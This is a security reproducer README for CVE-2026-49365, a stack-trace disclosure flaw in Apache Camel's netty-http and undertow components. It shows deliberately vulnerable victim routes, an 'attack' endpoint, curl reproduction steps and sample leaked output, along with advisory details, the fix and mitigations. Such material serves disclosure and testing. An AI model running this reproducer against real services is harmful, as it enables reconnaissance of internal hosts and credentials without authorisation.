Share
## https://sploitus.com/exploit?id=83AE73B9-508E-5F3C-B6FC-E98BFBAA66D9
# camel-netty-http / camel-undertow muteException Stack-Trace Disclosure Reproducer (CVE-2026-49365)

This project demonstrates an **information-disclosure** issue in Apache Camel's `camel-netty-http` and
`camel-undertow` components, tracked as **CVE-2026-49365**. The `muteException` option controls whether an
uncaught processing exception's detail is returned to the HTTP client. In these two components it shipped with a
default of **false**, so on any processing error the **full Java stack trace** is written back as `text/plain`:

```java
// DefaultNettyHttpBinding (affected 4.18.2) โ€” muteException defaults to false
if (cause != null && !configuration.isMuteException()) {
    ...
    final String stackTrace = ExceptionHelper.stackTraceToString(cause);
    body = NettyConverter.toByteBuffer(stackTrace.getBytes());       // full stack trace -> client
    message.setHeader(NettyHttpConstants.CONTENT_TYPE, "text/plain");
} else if (cause != null && configuration.isMuteException()) {
    body = NettyConverter.toByteBuffer("".getBytes());               // muted: empty body
}
```

`camel-undertow` has the identical defect (`DefaultUndertowHttpBinding` calls `stackTraceToString(exception)` when
`muteException` is false, and `UndertowComponent` defaults it to false). By contrast, jetty/servlet (via
`HttpCommonComponent`) and platform-http already default `muteException` to **true**. The stack trace routinely
leaks internal backend hostnames, database URLs, credential/vault hints, library versions, and source file/line
locations โ€” useful reconnaissance for an attacker and a direct leak of anything embedded in an exception message.

This PoC demonstrates the impact as **information exposure through an error message (CWE-209)**.

Advisory: https://camel.apache.org/security/CVE-2026-49365.html

## Vulnerability Summary

| Property | Value |
|----------|-------|
| **Components** | `camel-netty-http`, `camel-undertow` |
| **Affected Class** | `DefaultNettyHttpBinding` / `DefaultUndertowHttpBinding` (return `stackTraceToString(cause)` when `muteException` is false); `NettyHttpConfiguration` / `UndertowComponent` default `muteException=false` |
| **CWE** | CWE-209 (Generation of Error Message Containing Sensitive Information) |
| **Impact** | Full Java stack trace (internal detail) returned to an unauthenticated HTTP client on any processing error |
| **Preconditions** | A netty-http or undertow HTTP consumer; any request that triggers a processing exception |
| **Affected Versions** | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| **Fixed Versions** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23651 (PR [apache/camel#23913](https://github.com/apache/camel/pull/23913)) |
| **Credit** | Yu Bao (PayPal) |

> The fix changes the default `muteException` to **true** in `NettyHttpConfiguration` / `NettyHttpComponent` and
> `UndertowComponent` / `UndertowEndpoint` (aligning them with jetty/servlet and platform-http), and also fixes a
> gap where the undertow REST DSL path hard-coded mute to false. This is a behavioural change โ€” an application
> that relied on receiving the stack trace must now set `muteException=false` explicitly.

## The victim routes

```java
from("netty-http:http://0.0.0.0:8888/api/orders").process(new FailingProcessor());               // default (false) -> leaks
from("netty-http:http://0.0.0.0:8889/api/orders?muteException=true").process(new FailingProcessor()); // muted -> empty
from("undertow:http://0.0.0.0:8890/api/orders").process(new FailingProcessor());                  // default (false) -> leaks
```

`FailingProcessor` throws an `IllegalStateException` whose message names an internal database URL and a vault
secret โ€” standing in for the kind of detail real exceptions carry.

## Repository layout

```
CVE-2026-49365/
โ”œโ”€โ”€ pom.xml                 # camel-netty-http + camel-undertow 4.18.2
โ”œโ”€โ”€ Dockerfile
โ”œโ”€โ”€ docker-compose.yml      # single self-contained service
โ”œโ”€โ”€ README.md
โ””โ”€โ”€ src/main/
    โ”œโ”€โ”€ java/com/example/
    โ”‚   โ”œโ”€โ”€ Application.java
    โ”‚   โ”œโ”€โ”€ FailingProcessor.java   # throws an exception carrying sensitive internal detail
    โ”‚   โ”œโ”€โ”€ VictimRoutes.java       # netty-http :8888/:8889 + undertow :8890
    โ”‚   โ””โ”€โ”€ ExploitController.java  # attacker: GETs each endpoint, shows the leaked stack trace
    โ””โ”€โ”€ resources/
        โ””โ”€โ”€ application.properties
```

## Prerequisites

- Docker and Docker Compose
- Java 17+ and Maven 3.8+

## Reproduction Steps

```bash
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```

### Expected output (abridged)

```
1) netty-http :8888  (muteException at its default = FALSE on 4.18.2)
     HTTP 500
     response body (NNNN bytes) โ€” LEAKS internal detail:
       | java.lang.IllegalStateException: Inventory lookup failed: cannot connect to
       |   jdbc:postgresql://prod-db.internal:5432/inventory (user=svc_inventory, password from vault ...)
       | 	at com.example.FailingProcessor.process(FailingProcessor.java:...)
       | 	at org.apache.camel.processor.DelegateAsyncProcessor.process(...)
       | 	...[truncated]

2) netty-http :8889  (muteException=true โ€” the corrected default's behaviour)
     HTTP 500
     response body: 

3) undertow   :8890  (muteException at its default = FALSE โ€” same defect)
     HTTP 500
     response body (NNNN bytes) โ€” LEAKS internal detail:
       | java.lang.IllegalStateException: Inventory lookup failed: ... jdbc:postgresql://prod-db.internal ...

>>> Information disclosure via uncaught-exception response: true
```

## Recommended Fix

Upgrade to **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23651). After upgrading, netty-http and undertow default
`muteException=true` (empty body on error). If an application genuinely needs the exception detail in the
response, set `muteException=false` explicitly โ€” and never on an endpoint exposed to untrusted clients.

## Mitigation

Until upgrading, set `muteException=true` on every netty-http and undertow consumer endpoint, and add an
`onException(...).handled(true)` (or an error handler) that returns a generic message instead of the stack trace.

## Disclaimer

This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed and
fixed** vulnerability. Do not use it against systems without explicit permission.